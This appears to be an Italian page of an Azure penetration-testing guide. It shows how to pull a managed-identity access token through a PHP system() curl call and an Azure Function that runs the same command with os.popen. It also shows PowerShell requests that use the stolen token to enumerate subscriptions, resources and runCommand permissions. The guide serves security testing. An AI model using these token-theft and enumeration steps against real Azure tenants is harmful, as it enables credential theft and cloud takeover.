Ottieni access_token da IDENTITY_HEADER e IDENTITY_ENDPOINT: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');.
Quindi interroga l'Azure REST API per ottenere l'ID della sottoscrizione e altro.
$Token ='eyJ0eX..'$URI ='https://management.azure.com/subscriptions?api-version=2020-01-01'# $URI = 'https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# List resources and check for runCommand privileges$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
Azure API via Python Version
Per interagire con l'API di Azure utilizzando Python, è possibile utilizzare la libreria azure-mgmt-compute. Ecco un esempio di come autenticarsi e ottenere un elenco di macchine virtuali:
from azure.common.credentials import ServicePrincipalCredentialsfrom azure.mgmt.compute import ComputeManagementClient# Credenziali di autenticazionesubscription_id ='your-subscription-id'credentials =ServicePrincipalCredentials( client_id='your-client-id', secret='your-client-secret', tenant='your-tenant-id')# Creazione del clientcompute_client =ComputeManagementClient(credentials, subscription_id)# Ottenere l'elenco delle macchine virtualifor vm in compute_client.virtual_machines.list_all():print(vm.name)
Assicurati di sostituire your-subscription-id, your-client-id, your-client-secret e your-tenant-id con i valori appropriati.
import logging, osimport azure.functions as funcdefmain(req: func.HttpRequest) -> func.HttpResponse:logging.info('Python HTTP trigger function processed a request.')IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']IDENTITY_HEADER = os.environ['IDENTITY_HEADER']cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()return func.HttpResponse(val, status_code=200)
Elenco dei Servizi
Le pagine di questa sezione sono ordinate per servizio Azure. Qui potrai trovare informazioni sul servizio (come funziona e le sue capacità) e anche come enumerare ogni servizio.